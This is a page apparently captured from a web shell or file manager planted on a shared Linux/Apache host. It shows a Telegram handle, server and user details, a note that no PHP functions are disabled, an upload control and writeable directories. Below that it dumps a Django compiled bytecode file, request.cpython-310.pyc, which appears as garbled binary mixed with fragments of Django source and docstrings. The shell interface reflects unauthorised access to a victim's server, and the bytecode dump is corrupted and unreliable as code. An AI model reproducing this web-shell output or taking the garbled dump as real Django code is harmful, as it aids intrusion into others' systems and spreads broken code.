https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/http/__pycache__/request.cpython-310.pyc
o

��Ihwc�@s�ddlZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZmZmZmZddlmZdd	lmZmZmZdd
lmZmZm Z ddl!m"Z"ddl#m$Z$m%Z%dd
l&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/e+e	d�r�e+e	d�s�ddl(m	Z	e0�Z1e-d�Z2Gdd�de3�Z4Gdd�de5�Z6Gdd�d�Z7Gdd�de�Z8Gdd �d e �Z9Gd!d"�d"�Z:d#d$�Z;d%d&�Z<d'd(�Z=d)d*�Z>dS)+�N)�BytesIO)�chain)�	parse_qsl�quote�	urlencode�urljoin�urlsplit)�settings)�signing)�DisallowedHost�ImproperlyConfigured�RequestDataTooBig�TooManyFieldsSent)�
uploadhandler)�MultiPartParser�MultiPartParserError�TooManyFilesSent)�CaseInsensitiveMapping�
ImmutableList�MultiValueDict)�RemovedInDjango40Warning)�escape_uri_path�
iri_to_uri)�cached_property��is_same_domain)�func_supports_parameter)�_lazy_re_compile�)�parse_header�max_num_fields�	separator)rz1^([a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9\.:]+\])(:\d+)?$c@seZdZdS)�UnreadablePostErrorN)�__name__�
__module__�__qualname__�r&r&�5/usr/lib/python3/dist-packages/django/http/request.pyr"-sr"c@seZdZdZdS)�RawPostDataExceptionz�
    You cannot access raw_post_data from a request that has
    multipart/* POST data if it has been accessed via POST,
    FILES, etc..
    N)r#r$r%�__doc__r&r&r&r'r(1sr(c@s^eZdZdZdZgZdd�Zdd�Zedd��Z	ed	d
��Z
dd�Zd
d�Zdd�Z
dd�Zdd�ZdGdd�ZdGdd�Zdd�Zeddfdd�Zdd �ZdHd!d"�Zed#d$��Zd%d&�Zed'd(��Zd)d*�Zd+d,�Zed-d.��Zejd/d.��Zd0d1�Zed2d3��Z e jd4d3��Z d5d6�Z!ed7d8��Z"d9d:�Z#d;d<�Z$d=d>�Z%d?d@�Z&dAdB�Z'dCdD�Z(dEdF�Z)dS)I�HttpRequestzA basic HTTP request.NcCsTtdd�|_tdd�|_i|_i|_t�|_d|_d|_d|_	d|_
d|_d|_dS)NT)�mutable�)
�	QueryDict�GET�POST�COOKIES�METAr�FILES�path�	path_info�method�resolver_match�content_type�content_params��selfr&r&r'�__init__As
zHttpRequest.__init__cCs6|jdus	|��sd|jjSd|jj|j|��fS)Nz<%s>z<%s: %s %r>)r5�
get_full_path�	__class__r#r9r&r&r'�__repr__SszHttpRequest.__repr__cCs
t|j�S�N)�HttpHeadersr1r9r&r&r'�headersX�
zHttpRequest.headerscCst|j�dd��S)z%Return a list of MediaType instances.�Acceptz*/*)�parse_accept_headerrA�getr9r&r&r'�accepted_types\szHttpRequest.accepted_typescst�fdd�|jD��S)Nc3s�|]}|���VqdSr?)�match)�.0�
accepted_type��
media_typer&r'�	<genexpr>bs
��
�z&HttpRequest.accepts.<locals>.<genexpr>)�anyrF)r:rKr&rJr'�acceptsas�zHttpRequest.acceptscCsbt�|�dd��\|_|_d|jvr/z
t�|jd�Wn
ty&YdSw|jd|_dSdS)z/Set content_type, content_params, and encoding.�CONTENT_TYPEr,�charsetN)	�cgirrEr7r8�codecs�lookup�LookupError�encoding)r:�metar&r&r'�_set_content_type_paramsgs
��z$HttpRequest._set_content_type_paramscCsltjrd|jvr|jd}|Sd|jvr|jd}|S|jd}|��}||��r+dndkr4d||f}|S)z�
        Return the HTTP host using the environment or request headers. Skip
        allowed hosts protection, so may return an insecure host.
        �HTTP_X_FORWARDED_HOST�	HTTP_HOST�SERVER_NAME�443�80z%s:%s)r	�USE_X_FORWARDED_HOSTr1�get_port�	is_secure)r:�host�server_portr&r&r'�
_get_raw_hostrs

	
�

�zHttpRequest._get_raw_hostcCsn|��}tj}tjr|sgd�}t|�\}}|rt||�r|Sd|}|r/|d|7}t|��|d7}t|��)z>Return the HTTP host using the environment or request headers.)z
.localhostz	127.0.0.1z[::1]zInvalid HTTP_HOST header: %r.z) You may need to add %r to ALLOWED_HOSTS.zB The domain name provided is not valid according to RFC 1034/1035.)rbr	�
ALLOWED_HOSTS�DEBUG�split_domain_port�
validate_hostr)r:r`�
allowed_hosts�domain�port�msgr&r&r'�get_host�s
�zHttpRequest.get_hostcCs4tjrd|jvr|jd}t|�S|jd}t|�S)z3Return the port number for the request as a string.�HTTP_X_FORWARDED_PORT�SERVER_PORT)r	�USE_X_FORWARDED_PORTr1�str)r:rir&r&r'r^�s


�zHttpRequest.get_portFcC�|�|j|�Sr?)�_get_full_pathr3�r:�force_append_slashr&r&r'r<��zHttpRequest.get_full_pathcCrpr?)rqr4rrr&r&r'�get_full_path_info�rtzHttpRequest.get_full_path_infoc	CsLdt|�|r
|�d�s
dnd|j�dd�r"dt|j�dd��fSdfS)N�%s%s%s�/r,�QUERY_STRING�?)r�endswithr1rEr)r:r3rsr&r&r'rq�s"��zHttpRequest._get_full_pathr,cCstz|j|}Wnty|tur|YS�wztj||d�j||d�}W|Stjy9|tur8|YS�w)z�
        Attempt to return a signed cookie. If the signature fails or the
        cookie has expired, raise an exception, unless the `default` argument
        is provided,  in which case return that value.
        )�salt)�max_age)r0�KeyError�RAISE_ERRORr
�get_cookie_signer�unsign�BadSignature)r:�key�defaultr{r|�cookie_value�valuer&r&r'�get_signed_cookie�s"����zHttpRequest.get_signed_cookiecCsdj|j|��|��d�S)z�
        Return an absolute URI from variables available in this request. Skip
        allowed hosts protection, so may return insecure URI.
        z{scheme}://{host}{path})�schemer`r3)�formatr�rbr<r9r&r&r'�get_raw_uri�s
�zHttpRequest.get_raw_uricCs�|durd|��}nt|�}t|�}|jr|jsL|j�d�rC|jsC|jsCd|jvrCd|jvrC|�d�r:|dd�}|j|}t	|�St|j|j|�}t	|�S)a�
        Build an absolute URI from the location and the variables available in
        this request. If no ``location`` is specified, build the absolute URI
        using request.get_full_path(). If the location is absolute, convert it
        to an RFC 3987 compliant URI and return it. If location is relative or
        is scheme-relative (i.e., ``//example.com/``), urljoin() it to a base
        URL constructed from the request variables.
        Nz//%srwz/./z/../z//�)
r<rorr��netlocr3�
startswith�_current_scheme_hostrr)r:�location�bitsr&r&r'�build_absolute_uri�s	

�zHttpRequest.build_absolute_uricCsd�|j|���S)Nz{}://{})r�r�rkr9r&r&r'r��sz HttpRequest._current_scheme_hostcCsdS)zf
        Hook for subclasses like WSGIRequest to implement. Return 'http' by
        default.
        �httpr&r9r&r&r'�_get_scheme�szHttpRequest._get_schemecCsXtjr(ztj\}}Wntytd��w|j�|�}|dur(||kr&dSdS|��S)NzJThe SECURE_PROXY_SSL_HEADER setting must be a tuple containing two values.�httpsr�)r	�SECURE_PROXY_SSL_HEADER�
ValueErrorrr1rEr�)r:�header�secure_value�header_valuer&r&r'r�s��zHttpRequest.schemecCs
|jdkS)Nr�)r�r9r&r&r'r_s
zHttpRequest.is_securecCs tjdtdd�|j�d�dkS)Nzfrequest.is_ajax() is deprecated. See Django 3.1 release notes for more details about this deprecation.r�)�
stacklevel�HTTP_X_REQUESTED_WITH�XMLHttpRequest)�warnings�warnrr1rEr9r&r&r'�is_ajaxs�zHttpRequest.is_ajaxcCs|jSr?��	_encodingr9r&r&r'rUszHttpRequest.encodingcCs*||_t|d�r
|`t|d�r|`dSdS)z�
        Set the encoding used for GET/POST accesses. If the GET or POST
        dictionary has already been created, remove and recreate it on the
        next access (so that it is decoded correctly).
        r.�_postN)r��hasattrr.r�)r:�valr&r&r'rUs

�cs�fdd�tjD��_dS)Ncsg|]}t�|���qSr&)r�load_handler)rH�handlerr9r&r'�
<listcomp>-s�z4HttpRequest._initialize_handlers.<locals>.<listcomp>)r	�FILE_UPLOAD_HANDLERS�_upload_handlersr9r&r9r'�_initialize_handlers,s
�z HttpRequest._initialize_handlerscCs|js|��|jSr?)r�r�r9r&r&r'�upload_handlers0szHttpRequest.upload_handlerscCst|d�r	td��||_dS)N�_fileszGYou cannot set the upload handlers after the upload has been processed.)r��AttributeErrorr�)r:r�r&r&r'r�7s

cCs*t|jdd�|_t|||j|j�}|��S)z9Return a tuple of (POST QueryDict, FILES MultiValueDict).zEYou cannot alter upload handlers after the upload has been processed.)�warning)rr�rrU�parse)r:r1�	post_data�parserr&r&r'�parse_file_upload=s�zHttpRequest.parse_file_uploadc
Cs�t|d�sB|jrtd��tjdur"t|j�d�pd�tjkr"td��z|�	�|_
Wnty;}zt|j
�|�d}~wwt|j
�|_|j
S)N�_bodyz?You cannot access body after reading from request's data stream�CONTENT_LENGTHrz;Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE.)r��
_read_startedr(r	�DATA_UPLOAD_MAX_MEMORY_SIZE�intr1rEr
�readr��OSErrorr"�argsr�_stream)r:�er&r&r'�bodyFs

��zHttpRequest.bodycCst�|_t�|_dSr?)r-r�rr�r9r&r&r'�_mark_post_parse_errorXsz"HttpRequest._mark_post_parse_errorc	Cs�|jdkrt|jd�t�|_|_dS|jr!t|d�s!|��dS|j	dkrPt|d�r1t
|j�}n|}z|�|j
|�\|_|_WdSttfyO|���w|j	dkret|j|jd�t�|_|_dSt|jd�t�|_|_dS)zFPopulate self._post and self._files if the content-type is a form typer/)rUNr�zmultipart/form-dataz!application/x-www-form-urlencoded)r5r-r�rr�r�r�r�r�r7rr�r�r1rrr�)r:�datar&r&r'�_load_post_and_files\s&


�
 z HttpRequest._load_post_and_filescCs:t|d�rt�dd�|j��D��D]}|��qdSdS)Nr�css�|]}|dVqdS)rNr&)rH�list_r&r&r'rL{s�z$HttpRequest.close.<locals>.<genexpr>)r�r�
from_iterabler��lists�close)r:�fr&r&r'r�ys


�zHttpRequest.closec
O�@d|_z
|jj|i|��WSty}zt|j�|�d}~ww�NT)r�r�r�r�r"r��r:r��kwargsr�r&r&r'r�����zHttpRequest.readc
Or�r�)r�r��readliner�r"r�r�r&r&r'r��r�zHttpRequest.readlinecCst|jd�S)N�)�iterr�r9r&r&r'�__iter__��zHttpRequest.__iter__cCst|�Sr?)�listr9r&r&r'�	readlines�szHttpRequest.readlines)Fr?)*r#r$r%r)r�r�r;r>rrArFrNrWrbrkr^r<rurqr~r�r�r�r�r��propertyr�r_r�rU�setterr�r�r�r�r�r�r�r�r�r�r�r&r&r&r'r*:s^



	
$


	



	

r*cs@eZdZdZddhZ�fdd�Z�fdd�Zedd	��Z�Z	S)
r@�HTTP_rOr�cs<i}|��D]\}}|�|�}|r|||<qt��|�dSr?)�items�parse_header_name�superr;)r:�environrAr�r��name�r=r&r'r;�s
�zHttpHeaders.__init__cst��|�dd��S)z:Allow header lookup using underscores in place of hyphens.�_�-)r��__getitem__�replace�r:r�r�r&r'r���zHttpHeaders.__getitem__cCs>|�|j�r|t|j�d�}n||jvrdS|�dd���S)Nr�r�)r��HTTP_PREFIX�len�UNPREFIXED_HEADERSr��title)�clsr�r&r&r'r��s

zHttpHeaders.parse_header_name)
r#r$r%r�r�r;r��classmethodr��
__classcell__r&r&r�r'r@�sr@cs�eZdZdZdZdZd)�fdd�	Zed*dd	��Ze	d
d��Z
e
jdd��Z
d
d�Z�fdd�Z
�fdd�Zdd�Zdd�Z�fdd�Zd+�fdd�	Z�fdd�Z�fdd�Z�fdd �Z�fd!d"�Zd+�fd#d$�	Zd%d&�Zd+d'd(�Z�ZS),r-a�
    A specialized MultiValueDict which represents a query string.

    A QueryDict can be used to represent GET or POST data. It subclasses
    MultiValueDict since keys in such data can be repeated, for instance
    in the data from a form with a <select multiple> field.

    By default QueryDicts are immutable, though the copy() method
    will always return a mutable copy.

    Both keys and values set on this class are converted from the given encoding
    (DEFAULT_CHARSET by default) to str.
    TNFc
s�t���|p	tj|_|pd}d|jtjd�}t|t�r3z|�|j�}Wnt	y2|�d�}Ynwzt
|fi|��D]
\}}|�||�q<WntyY}zt
d�|�d}~ww||_dS)Nr,T)�keep_blank_valuesrUr z
iso-8859-1zRThe number of GET/POST parameters exceeded settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.)r�r;r	�DEFAULT_CHARSETrU�DATA_UPLOAD_MAX_NUMBER_FIELDS�
isinstance�bytes�decode�UnicodeDecodeErrorr�
appendlistr�r�_mutable)r:�query_stringr+rU�parse_qsl_kwargsr�r�r�r�r&r'r;�s4
�
������
	zQueryDict.__init__r,cCs2|dd|d�}|D]}|�||�q	|sd|_|S)zt
        Return a new QueryDict with keys (may be repeated) from an iterable and
        values from value.
        r,T�r+rUF)r�r�)r��iterabler�r+rU�qr�r&r&r'�fromkeys�szQueryDict.fromkeyscCs|jdur	tj|_|jSr?)r�r	r�r9r&r&r'rU�s
zQueryDict.encodingcCs
||_dSr?r�)r:r�r&r&r'rU�rBcCs|jstd��dS)Nz$This QueryDict instance is immutable)r�r�r9r&r&r'�_assert_mutable�s�zQueryDict._assert_mutablec�2|��t||j�}t||j�}t��||�dSr?)r��
bytes_to_textrUr��__setitem__�r:r�r�r�r&r'r��zQueryDict.__setitem__cs|��t��|�dSr?)r�r��__delitem__r�r�r&r'r�szQueryDict.__delitem__cCs4|jdd|jd�}|��D]
\}}|�||�q
|S�Nr,Tr�)r=rUr��setlist)r:�resultr�r�r&r&r'�__copy__szQueryDict.__copy__cCsP|jdd|jd�}||t|�<|��D]\}}|�t�||�t�||��q|Sr�)r=rU�idr�r��copy�deepcopy)r:�memor�r�r�r&r&r'�__deepcopy__s
zQueryDict.__deepcopy__cs8���t|�j�}�fdd�|D�}t��||�dS)Ncsg|]}t|�j��qSr&)r�rU)rH�eltr9r&r'r�sz%QueryDict.setlist.<locals>.<listcomp>)r�r�rUr�r�)r:r�r�r�r9r'r�szQueryDict.setlistcs|��t��||�Sr?)r�r��setlistdefault)r:r��default_listr�r&r'r�zQueryDict.setlistdefaultcr�r?)r�r�rUr�r�r�r�r&r'r�#r�zQueryDict.appendlistcs|��t�j|g|�R�Sr?)r�r��pop)r:r�r�r�r&r'r
)sz
QueryDict.popcs|��t���Sr?)r�r��popitemr9r�r&r'r-s
zQueryDict.popitemcs|��t���dSr?)r�r��clearr9r�r&r'r1r	zQueryDict.clearcs.|��t||j�}t||j�}t��||�Sr?)r�r�rUr��
setdefault)r:r�r�r�r&r'r
5szQueryDict.setdefaultcCs
|�i�S)z%Return a mutable copy of this object.)rr9r&r&r'r;rBzQueryDict.copycsbg}�r���j���fdd��ndd�����D]\�}|����fdd�|D��qd�|�S)ah
        Return an encoded string of all query string arguments.

        `safe` specifies characters which don't require quoting, for example::

            >>> q = QueryDict(mutable=True)
            >>> q['next'] = '/a&b/'
            >>> q.urlencode()
            'next=%2Fa%26b%2F'
            >>> q.urlencode(safe='/')
            'next=/a%26b/'
        csdt|��t|��fS)Nz%s=%s)r��k�v)�safer&r'�encodePsz#QueryDict.urlencode.<locals>.encodecSst||i�Sr?)rrr&r&r'rSr�c3s.�|]}����j�t|���j��VqdSr?)rrUro)rHr)rrr:r&r'rLVs
��
�z&QueryDict.urlencode.<locals>.<genexpr>�&)rrUr��extend�join)r:r�outputr�r&)rrrr:r'r?s

�
zQueryDict.urlencode)NFN)r,FNr?)r#r$r%r)r�r�r;r�r�r�rUr�r�r�r�rrr�rr�r
rrr
rrr�r&r&r�r'r-�s2

r-c@s8eZdZdd�Zdd�Zdd�Zedd��Zd	d
�ZdS)�	MediaTypecCs4t|r|�d�nd�\}|_|�d�\|_}|_dS)N�asciir�rw)rr�params�	partition�	main_type�sub_type)r:�media_type_raw_line�	full_typer�r&r&r'r;^s
�zMediaType.__init__cCs@d�dd�|j��D��}d|j|jrd|j|fSd|fS)Nr,css&�|]\}}d||�d�fVqdS)z; %s=%srN)r�)rHrrr&r&r'rLes
��
�z$MediaType.__str__.<locals>.<genexpr>rvz/%s)rrr�rr)r:�
params_strr&r&r'�__str__ds
���zMediaType.__str__cCsd|jj|fS)Nz<%s: %s>)r=r%r9r&r&r'r>oszMediaType.__repr__cCs|jdko	|jdkS)N�*)rrr9r&r&r'�is_all_typesrr�zMediaType.is_all_typescCs6|jrdSt|�}|j|jkr|jd|jhvrdSdS)NTr!F)r"rrr)r:�otherr&r&r'rGvszMediaType.matchN)	r#r$r%r;r r>r�r"rGr&r&r&r'r]s
rcCst|t�rt||d�S|S)u�
    Convert bytes objects to strings, using the given encoding. Illegally
    encoded input characters are replaced with Unicode "unknown" codepoint
    (�).

    Return any non-bytes objects without change.
    r�)r�r�ro)�srUr&r&r'r��s
r�cCsx|��}t�|�sdS|ddkr|dfS|�dd�}t|�dkr#|n|ddf\}}|�d	�r6|d
d�n|}||fS)z�
    Return a (domain, port) tuple from a given host.

    Returned domain is lowercased. If the host is invalid, the domain will be
    empty.
    )r,r,����]r,�:rr�r�.N)�lower�host_validation_rerG�rsplitr�rz)r`r�rhrir&r&r're�s
 recst�fdd�|D��S)a4
    Validate the given host for this site.

    Check that the host looks valid and matches a host or host pattern in the
    given list of ``allowed_hosts``. Any pattern beginning with a period
    matches a domain and all its subdomains (e.g. ``.example.com`` matches
    ``example.com`` and any subdomain), ``*`` matches anything, and anything
    else must match exactly.

    Note: This function assumes that the given host is lowercased and has
    already had the port, if any, stripped off.

    Return ``True`` for a valid host, ``False`` otherwise.
    c3s"�|]}|dkpt�|�VqdS)r!Nr)rH�pattern�r`r&r'rL�s� z validate_host.<locals>.<genexpr>)rM)r`rgr&r-r'rf�srfcCsdd�|�d�D�S)NcSsg|]
}|��rt|��qSr&)�stripr)rH�tokenr&r&r'r��sz'parse_accept_header.<locals>.<listcomp>�,)�split)r�r&r&r'rD�srD)?rQrRrr��ior�	itertoolsr�urllib.parserrrrr�django.confr	�django.corer
�django.core.exceptionsrrr
r�django.core.filesr�django.http.multipartparserrrr�django.utils.datastructuresrrr�django.utils.deprecationr�django.utils.encodingrr�django.utils.functionalr�django.utils.httpr�django.utils.inspectr�django.utils.regex_helperr�multipartparserr�objectr~r*r�r"�	Exceptionr(r*r@r-rr�rerfrDr&r&r&r'�<module>sP��	c)%

https://t.me/RX1948 - 2025